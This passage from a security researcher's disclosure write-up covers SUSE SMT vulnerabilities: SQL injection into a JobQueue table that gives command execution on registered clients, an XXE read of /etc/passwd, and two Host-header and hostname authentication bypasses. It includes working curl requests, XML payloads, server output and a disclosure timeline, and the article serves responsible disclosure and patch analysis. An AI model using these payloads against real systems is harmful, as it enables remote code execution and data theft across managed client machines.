We've inserted some SQL that is going to be appended to an INSERT INTO statement. Our test is just inserting the same SQL that would have been generated/inserted anyway if we would have built the XML out as normal, but it will confirm our vulnerability. Note that we finish the statement and comment out the rest (which will be appended later through the code) with: ;#. Let's run it and see what happens ebx@linux-uj54:~> curl -v -d @sqli_test.xml "http://127.0.0.1/center/regsvc?command=shareregistration&lang=en-US&version=1.0" ... MariaDB [smt]> select * from Clients where GUID = 'sqli'; +----+------+----------+----------+--------+-------------+---------------------+-----------+--------+---------+ | ID | GUID | SYSTEMID | HOSTNAME | TARGET | DESCRIPTION | LASTCONTACT | NAMESPACE | SECRET | REGTYPE | +----+------+----------+----------+--------+-------------+---------------------+-----------+--------+---------+ | 24 | sqli | NULL | SQLi | NULL | | 2018-08-11 14:55:20 | | | SR | +----+------+----------+----------+--------+-------------+---------------------+-----------+--------+---------+ 1 row in set (0.00 sec) Success, our SQL statement was created and executed without error and we have a new entry in the Clients table. For the curious, the full statement generated looks like this: INSERT INTO Clients (GUID, HOSTNAME) VALUES("sqli", "SQLi");#) So we have an injection point on an INSERT clause. A vulnerability for sure, but what can we accomplish? On first glance, not much. By default MariaDB uses the --secure-file-priv switch so writing files to the server is not a possibility. We can insert whatever we want into any table we want in the smt database, however, so I started looking at the tables for that database again and there's a couple of interesting looking ones that stick out:

Patches - can we potentially create our own patches that will be deployed to clients?
Product* - these tables could be potentially interesting, can we create our own products that are deployed to clients?
Catalogs - same reasons as the other two, can we potentially create our own Catalog and insert an entry into this that will pull packages from it?

After researching all of the tables and their functionality for something useful to use with our exploit, the most interesting table from an attackers persepective turns out to be JobQueue. Here's what the documentation has to say about the purpose of the JobQueue: Since SUSE Linux Enterprise version 11, there is a new SMT service called SMT JobQueue. It is a system to delegate jobs to the registered clients. To enable JobQueue, the smt-client package needs to be installed on the SMT client. The client then pulls jobs from the server via a cron job (every 3 hours by default). The list of jobs is maintained on the server. Jobs are not pushed directly to the clients and processed immediately, but the client asks for them. Therefore, a delay of several hours may occur. Every job can have its parent job, which sets a dependency. The child job only runs after the parent job successfully finished. Job timing is also possible: a job can have a start time and an expiration time to define its earliest execution time or the time the job will expire. A job may also be persistent. It is run repeatedly with a delay. For example, a patch status job is a persistent job that runs once a day. For each client, a patch status job is automatically generated after it registers successfully against an SMT 11 server. The patchstatus information can be queried with the smt-client command. For the already registered clients, you can add the patchstatus jobs manually with the smt-job command. You can manipulate, list, create or delete the jobs. For this reason, the command line tool smt-job was introduced. For more details on smt-job, see smt-job. and from https://www.suse.com/documentation/sled-12/sled-12-sp2/singlehtml/book_smt/book_smt.html#smt.yast.staging.client For each client that is registered against the SMT server, SMT creates a job queue. To make use of the job queue, you need to install the smt-client package on the client. During the installation of the smt-client package, a cron job is created that runs the client executable /usr/sbin/smt-agent every three hours by default. The agent then asks the server if it has any jobs in the queue belonging to this client, and executes these jobs. When there are no more jobs in the queue, the agent terminates completely. It is important to understand that jobs are not pushed directly to the clients when they get created, and are not executed until the client asks for them in the preconfigured intervals of the cron job. Therefore, a delay of several hours may occur from the creation time of a job on the server until the job is executed on the client. Every job can have a parent job, which means that the child job only runs after the parent job has successfully finished. It is also possible to configure advanced timing and recurrence/persistence of jobs. You can find more details about SMT jobs in Section 7.1.2.3, "smt-job". When creating jobs, you need to specify the GUID of the target clients using the -g GUID parameter. Although the -g parameter can be specified multiple times on a single command, there is no "wild card" functionality to assign a job to all clients. Currently the following types of jobs are relevant: Execute Run commands on the client. Eject Open, close, or toggle the CD tray of the client. Patchstatus Report the status of installed patches. Reboot Reboot the client. Softwarepush Install packages. Update Install available updates. So every client that is connected to the SMT server automatically polls this JobQueue table every 3 hours (by default) for jobs to process -- and the types of jobs look particularly interesting, especially "Execute". Smells like an easy path to code execution. Awesome.

To find out what exactly a job consists of let's investigate the JobQueue table: MariaDB [smt]> describe JobQueue; +-------------+---------------------+------+-----+-------------------+----------------+ | Field | Type | Null | Key | Default | Extra | +-------------+---------------------+------+-----+-------------------+----------------+ | ID | int(10) unsigned | NO | PRI | NULL | auto_increment | | GUID_ID | int(10) unsigned | NO | PRI | NULL | | | PARENT_ID | int(10) unsigned | YES | | NULL | | | NAME | varchar(255) | NO | | | | | DESCRIPTION | mediumtext | YES | | NULL | | | TYPE | int(10) unsigned | NO | | 0 | | | ARGUMENTS | blob | YES | | NULL | | | STATUS | tinyint(3) unsigned | NO | | 0 | | | STDOUT | blob | YES | | NULL | | | STDERR | blob | YES | | NULL | | | EXITCODE | int(11) | YES | | NULL | | | MESSAGE | mediumtext | YES | | NULL | | | CREATED | timestamp | NO | | CURRENT_TIMESTAMP | | | TARGETED | timestamp | YES | | NULL | | | EXPIRES | timestamp | YES | | NULL | | | RETRIEVED | timestamp | YES | | NULL | | | FINISHED | timestamp | YES | | NULL | | | PERSISTENT | tinyint(1) | NO | | 0 | | | VERBOSE | tinyint(1) | NO | | 0 | | | TIMELAG | time | YES | | NULL | | | UPSTREAM | tinyint(1) | NO | | 0 | | | CACHERESULT | tinyint(1) | NO | | 0 | | +-------------+---------------------+------+-----+-------------------+----------------+ 22 rows in set (0.00 sec) There's a lot of information that can be stored here and the JobQueue table is empty by default (jobs are automatically created as clients get registered, though). The documentation above states that jobs are created using the smt-job tool so let's investigate that. Our goal is to generate a job in order to see what it looks like in the database. Reading the help document and playing around with the program for a couple of minutes and we're able to formulate a succcessful command: sudo smt-job --verbose 3 --create -t execute -X "touch /tmp/t" -g "sqli" Note that you have to supply a valid GUID with the -g switch. This is the GUID of the client machine(s) that should pull this job, and at least when utilizing smt-job, it must be valid (i.e. it must exist in the Clients/Registration tables). Here we use the GUID from our sql injection test. When the client machine pulls this it will execute touch /tmp/t and return the result to the SMT server. Let's see what that looks like in the database:

MariaDB [smt]> select * from JobQueue; +----+---------+-----------+---------+------------------------+------+---------------------------------------------------------------------------------------------------------------+--------+--------+--------+----------+---------+---------------------+----------+---------+-----------+----------+------------+---------+---------+----------+-------------+ | ID | GUID_ID | PARENT_ID | NAME | DESCRIPTION | TYPE | ARGUMENTS | STATUS | STDOUT | STDERR | EXITCODE | MESSAGE | CREATED | TARGETED | EXPIRES | RETRIEVED | FINISHED | PERSISTENT | VERBOSE | TIMELAG | UPSTREAM | CACHERESULT | +----+---------+-----------+---------+------------------------+------+---------------------------------------------------------------------------------------------------------------+--------+--------+--------+----------+---------+---------------------+----------+---------+-----------+----------+------------+---------+---------+----------+-------------+ | 4 | 24 | NULL | Execute | Execute custom command | 4 | <arguments command="touch /tmp/t"> <options> <command>touch /tmp/t</command> </options> </arguments> | 0 | NULL | NULL | NULL | NULL | 2018-08-11 15:57:52 | NULL | NULL | NULL | NULL | 0 | 0 | NULL | 0 | 0 |
the job type to job name mapping can be found in the Constants.pm file:

# Maps JOB_TYPE ID to JOB_TYPE NAME 1 => 'patchstatus', 2 => 'softwarepush', 3 => 'update', 4 => 'execute', 5 => 'reboot', 6 => 'configure', 7 => 'wait', 8 => 'eject', 51 => 'createjob', 52 => 'report', 53 => 'inventory',
So now that we know what the resulting database entry looks like we can use our SQL injection vulnerability to insert an entry into the JobQueue table that will execute commands on client machines. GUIDs can be phished/guessed/bruteforced (by default they are sequential) to provide an entry for every potential client machine resulting in code execution on all of them -- a disaster situation in the right environment.

Here's the payload that we will use to insert an entry into the JobQueue table to achieve code execution. Note that we could use the SQL injection that we found earlier to craft a raw SQL statement to insert what we want but since the table name is not verified and we want the same syntax anyway it's just easier to structure the XML normally and let the code handle creating the statement.

<?xml version="1.0" encoding="ISO-8859-1"?> <registrationData> <tableData table="JobQueue"> <entry columnName="GUID_ID" value="sqli"/> <entry columnName="NAME" value="Code Execution"/> <entry columnName="DESCRIPTION" value="Code Execution"/> <entry columnName="TYPE" value="4"/> <entry columnName="ARGUMENTS" value='&lt;arguments command="touch /tmp/x">&lt;options>&lt;command>touch /tmp/x&lt;/command>&lt;/options>&lt;/arguments>'/> </tableData> </registrationData>
These are the only values that are needed. Note that we have to escape the opening brackets for the XML in the value for the ARGUMENTS column.

Not quite unauthenticated just yet...

I confirmed the XXE vulnerability on August 3rd and further exploited it and discovered the SQL injection vulnerability on August 4th. I reported both vulnerabilities to the SUSE security team on August 4th and heard back shortly thereafter confirming them.

I heard from the SUSE security team again on August 7th where two preconditions were noted:

  1. registration sharing needs to be enabled, and currently it is not enabled by default (I wrote about this in my initial email to them)
  2. there is a whitelist sender filtering before processing, so only compromised SMT sibling hosts could exploit this problem in the main SMT
I assumed that the "whitelist sender filtering" being referred to was the acceptRegistrationSharing configuration option that was required when initially setting up registration sharing through the SMT. We touched on that intially earlier -- to be honest, I had simply forgotten to test making requests and accessing this data from an external network and had been doing everything from localhost within the VM. I tested this after I received the email and sure enough when trying the exploits from outside localhost the following is returned:

(192.168.43.226 is the SLES guest, 192.168.43.87 is my local archlinux host) [~/SUSE]$ curl -v -d @readfile.xml "http://192.168.43.226/center/regsvc?command=shareregistration&lang=en-US&version=1.0" * Trying 192.168.43.226... * TCP_NODELAY set * Connected to 192.168.43.226 (192.168.43.226) port 80 (#0) > POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1 > Host: 192.168.43.226 > User-Agent: curl/7.61.0 > Accept: */* > Content-Length: 271 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 271 out of 271 bytes < HTTP/1.1 403 Forbidden < Date: Sat, 11 Aug 2018 21:22:26 GMT < Server: Apache < Transfer-Encoding: chunked < Content-Type: text/plain < * Connection #0 to host 192.168.43.226 left intact Registration data not accepted, host 192.168.43.87, not listed as "acceptRegistrationSharing" provider in config file. So only requests from whitelisted hosts are actually accepted. Bummer, this pretty much brings the attack surface for these issues down to a minimum. Serious vulnerabilities for sure, but the whitelisted hosts are already trusted.

Without getting too discouraged I decided to take a look at the code that handles authentication. Searching the repository for references to "Registration data not accepted" leads us to the subroutine _verifySenderAllowed:


sub _verifySenderAllowed { my $r = shift; my $apache = Apache2::ServerUtil->server; my $senderName = $r->hostname(); my $senderIP = $r->connection()->client_ip(); my $msg = 'Received shared registration request from ' . $senderName . ':' . $senderIP; $apache->log->info($msg); # Verify that it is OK to accept the registration from this host my $cfg; eval { $cfg = SMT::Utils::getSMTConfig(); }; if($@ || !defined $cfg) { $r->log_error("Cannot read the SMT configuration file: ".$@); return SMT::Utils::http_fail($r, 500, "SMT server is missconfigured. Please contact your administrator."); } my $allowedSenders = $cfg->val('LOCAL', 'acceptRegistrationSharing'); my %acceptedProviders; if ($allowedSenders) { %acceptedProviders = map { ($_ => 1) } split /,/, $allowedSenders; } if ((! $acceptedProviders{$senderName}) && (! $acceptedProviders{$senderIP})) { $msg = "Registration data not accepted, host $senderIP, not listed " . 'as "acceptRegistrationSharing" provider in config file.'; $r->log_error($msg); return SMT::Utils::http_fail($r, 403, $msg); } return 1; }
The conditional that fails resulting in our error message looks interesting if ((! $acceptedProviders{$senderName}) && (! $acceptedProviders{$senderIP})) { $msg = \"Registration data not accepted, host $senderIP, not listed \" . 'as \"acceptRegistrationSharing\" provider in config file.'; $r->log_error($msg); return SMT::Utils::http_fail($r, 403, $msg); } Two conditions must be met in order to fail: $senderName must not be in $acceptedProviders and $senderIP must not be in $acceptedProviders. The IP check makes sense given our configuration file, but what is the $senderName check all about? We can see it being set on this line my $senderName = $r->hostname(); Let's add a quick couple of lines to _verifySenderAllowed that will log what all of these variables represent once a request comes through.

my $tmpm = "acceptedProviders: @{[%acceptedProviders]} | Name: $senderName | IP: $senderIP"; $r->log_error($tmpm);
And making the same request as before we see our message in the apache error log acceptedProviders: 127.0.0.1 1 | Name: 192.168.43.226 | IP: 192.168.43.87 Using our message and the code we can determine that acceptedProviders is a hash that looks like %acceptedProviders{'127.0.0.1'} = 1, $senderName is equal to the IP of our SLES guest and $senderIP my host machines local IP. At this point it seems pretty likely that the way it would be acquiring the value for the $senderName variable is through the Host HTTP header. Let's test: curl --header "Host: x" -d @readfile.xml "http://192.168.43.226/center/regsvc?command=shareregistration&lang=en-US&version=1.0" and on the server: acceptedProviders: 127.0.0.1 1 | Name: x | IP: 192.168.43.87 Perfect. All we have to do is provide an IP address or hostname that is present in the %acceptedProviders hash (or rather the acceptRegistrationSharing configuration option) as the value for our Host header and we can bypass the authentication without actually having to be whitelisted by the server! As an example I set my header to a known value and... [~/SUSE]$ curl -v --header "Host: 127.0.0.1" -d @readfile.xml "http://192.168.43.226/center/regsvc?command=shareregistration&lang=en-US&version=1.0" * Trying 192.168.43.226... * TCP_NODELAY set * Connected to 192.168.43.226 (192.168.43.226) port 80 (#0) > POST /center/regsvc?command=shareregistration&lang=en-US&version=1.0 HTTP/1.1 > Host: 127.0.0.1 > User-Agent: curl/7.61.0 > Accept: */* > Content-Length: 271 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 271 out of 271 bytes < HTTP/1.1 400 Bad Request < Date: Sat, 11 Aug 2018 23:33:54 GMT < Server: Apache < Connection: close < Transfer-Encoding: chunked < Content-Type: text/plain < Could not determine table name for insertion from XML at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash bin:x:1:1:bin:/bin:/bin/bash daemon:x:2:2:Daemon:/sbin:/bin/bash ftp:x:40:49:FTP account:/srv/ftp:/bin/bash ftpsecure:x:489:65534:Secure FTP User:/var/lib/empty:/bin/false games:x:12:100:Games account:/var/games:/bin/bash gdm:x:482:483:Gnome Display Manager daemon:/var/lib/gdm:/bin/false lp:x:4:7:Printing daemon:/var/spool/lpd:/bin/bash mail:x:8:12:Mailer daemon:/var/spool/clientmqueue:/bin/false man:x:13:62:Manual pages viewer:/var/cache/man:/bin/bash messagebus:x:499:499:User for D-Bus:/var/run/dbus:/bin/false mysql:x:60:494:MySQL database admin:/var/lib/mysql:/bin/false news:x:9:13:News system:/etc/news:/bin/bash nobody:x:65534:65533:nobody:/var/lib/nobody:/bin/bash nscd:x:496:495:User for nscd:/run/nscd:/sbin/nologin ntp:x:74:489:NTP daemon:/var/lib/ntp:/bin/false openslp:x:494:2:openslp daemon:/var/lib/empty:/sbin/nologin polkitd:x:497:496:User for polkitd:/var/lib/polkit:/sbin/nologin postfix:x:51:51:Postfix Daemon:/var/spool/postfix:/bin/false pulse:x:487:487:PulseAudio daemon:/var/lib/pulseaudio:/sbin/nologin root:x:0:0:root:/root:/bin/bash rpc:x:495:65534:user for rpcbind:/var/lib/empty:/sbin/nologin rtkit:x:488:488:RealtimeKit:/proc:/bin/false scard:x:484:485:Smart Card Reader:/var/run/pcscd:/usr/sbin/nologin smt:x:485:8:User for SMT:/var/lib/smt:/usr/bin/false srvGeoClue:x:490:65534:User for GeoClue D-Bus service:/var/lib/srvGeoClue:/sbin/nologin sshd:x:498:498:SSH daemon:/var/lib/sshd:/bin/false statd:x:486:65534:NFS statd daemon:/var/lib/nfs:/sbin/nologin systemd-timesync:x:491:491:systemd Time Synchronization:/:/sbin/nologin uucp:x:10:14:Unix-to-Unix CoPy system:/etc/uucp:/bin/bash vnc:x:483:484:user for VNC:/var/lib/empty:/sbin/nologin wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false ebx:x:1000:100:ebx:/home/ebx:/bin/bash vboxadd:x:481:1::/var/run/vboxadd:/bin/false * Closing connection 0 Could not generate SQL statement to insert registration% [~/SUSE]$ Success! Using this we are able to bypass authentication and exploit both of the previous vulnerabilities as a remote attacker. Likely candidates for whitelisted hosts could be gotten using a tool like nmap or could be phished, guessed or simply bruteforced.

Bypass #2

On September 27th SUSE released patches for the SMT that addressed CVEs 2018-12470, 2018-12471 and 2018-12472 and made two announcements on the sle-security-updates mailing list:

http://lists.suse.com/pipermail/sle-security-updates/2018-September/004613.html
http://lists.suse.com/pipermail/sle-security-updates/2018-September/004614.html

On October 1st I was notified directly via email that patches had been released. After asking for more information about the patches I was told about the commit hashes that dealt with them, let's look at a comparison:

https://github.com/SUSE/smt/compare/5d4eaf5928d32ff474c2a9fcb4d178d74368ae09...2e1bd420b3377cd7c714ab73a24b7bc77ad4973a

Everything looks to have been fixed. External entities are disabled (or set to return nothing or not expand) in all of the places that LibXML is being used, fixing CVE-2018-12471. $tableName is checked to ensure that it should equal either 'Clients' or 'Registration' so it is no longer possible to craft arbitrary SQL statements or insert entries into the JobQueue table to achieve code execution, fixing CVE-2018-12470. The fix for CVE-2018-12472 looks interesting, however: my $senderName = $r->hostname(); becomes my $senderName = $r->connection()->get_remote_host(); Let's look at the documentation for get_remote_host: get_remote_host Lookup the client's DNS hostname or IP address $remote_host = $c->remote_host(); $remote_host = $c->remote_host($type); $remote_host = $c->remote_host($type, $dir_config); obj: $c ( Apache2::Connection object ) The current connection opt arg1: $type ( :remotehost constant ) The type of lookup to perform: Apache2::Const::REMOTE_DOUBLE_REV will always force a DNS lookup, and also force a double reverse lookup, regardless of the HostnameLookups setting. The result is the (double reverse checked) hostname, or undef if any of the lookups fail. Apache2::Const::REMOTE_HOST returns the hostname, or undef if the hostname lookup fails. It will force a DNS lookup according to the HostnameLookups setting. Apache2::Const::REMOTE_NAME returns the hostname, or the dotted quad if the hostname lookup fails. It will force a DNS lookup according to the HostnameLookups setting. Apache2::Const::REMOTE_NOLOOKUP is like Apache2::Const::REMOTE_NAME except that a DNS lookup is never forced. Default value is Apache2::Const::REMOTE_NAME. opt arg2: $dir_config ( Apache2::ConfVector object ) The directory config vector from the request. It's needed to find the container in which the directive HostnameLookups is set. To get one for the current request use $r->per_dir_config. By default, undef is passed, in which case it's the same as if HostnameLookups was set to Off. ret: $remote_host ( string/undef ) The remote hostname. If the configuration directive HostNameLookups is set to off, this returns the dotted decimal representation of the client's IP address instead. Might return undef if the hostname is not known. since: 2.0.00 The result of get_remote_host call is cached in $c->remote_host. If the latter is set, get_remote_host will return that value immediately, w/o doing any checkups. Since the patch is calling get_remote_host() without any parameters the default value of Apache2::Const::REMOTE_NAME is used for the type which per the documentation above returns the hostname, or the dotted quad if the hostname lookup fails. It will force a DNS lookup according to the HostnameLookups setting. It's unlikely that someone is going to use :: as a whitelisted host, but, it would seem that the hostname is still controlled by the party initiating the connection. As a test, I insert some code that will once again log our request information to the apache error log (note that the only thing I inserted is $r->log_error($msg);, the rest was added with the patches) my $msg = 'Received shared registration request from ' . $senderName . ':' . $senderIP; $apache->log->info($msg); $r->log_error($msg); and issue the request again [~/SUSE]$ hostname sec [~/SUSE]$ curl -v --header "Host: 127.0.0.1" -X POST -d @ssrf.xml "http://192.168.43.226/center/regsvc?command=shareregistration&lang=en-US&version=1.0" in the logfile on our SUSE guest: [Tue Oct 16 13:30:02.431851 2018] [:error] [pid 2351] Received shared registration request from sec:192.168.43.87 This confirms that, at least on a local network, we are able to alter our hostname to bypass authentication just like we did in CVE-2018-12472 (albeit at a slower rate if guessing/bruteforce is required). Due to limitations in my environment I was unable to test the ability for a remote attacker to exploit this by altering DNS records, but I believe that to be possible as well.

I reported the above to SUSE on October 5th and it was fixed shortly thereafter, with patches officially released on October 25th (sle-security-updates announcement)

Timeline

  • 2018-08-0412:48

    Initial report

    Notified SUSE security team of the initial XXE and SQL injection vulnerabilities through their official security channel.

  • 2018-08-0414:13

    First response

    Received a reply from SUSE head of product security confirming receipt of my report and sharing references for their internal bug report with mention of CVE assignments. My intiial report was after hours (for those in Germany) and on a Saturday and I received a response less than 2 hours after my initial email.

  • 2018-08-0703:42

    Checkup

    Received an email from SUSE security with confirmation that the development team has confirmed both vulnerabilities and assigned a CVE to each. Two preconditions, including a whitelist which I did not initially write about, are noted.

  • 2018-08-0709:04

    Authentication bypass

    Notified SUSE security of authentication bypass vulnerability that defeats the whitelist precondition.

  • 2018-09-2710:09

    Patches

    SUSE releases security patches and makes two announcements on the sle-security-updates mailing list.

  • 2018-10-0100:17

    Patch notification

    SUSE notifies me that patches have been released.

  • 2018-10-0507:41

    Authentication bypass #2

    Notified SUSE security that the fix for CVE-2018-12472 was incomplete and would still allow a malicious actor to bypass authentication.

  • 2018-10-2516:09

    Patches

    SUSE releases patches addressing the incomplete fix for CVE-2018-12472 and makes an announcement on the sle-security-updates mailing list.

SUSE was friendly, fast responding and gave the issues the appropriate levels of attention and detail. They were also kind enough to reward my efforts with a very awesome t-shirt.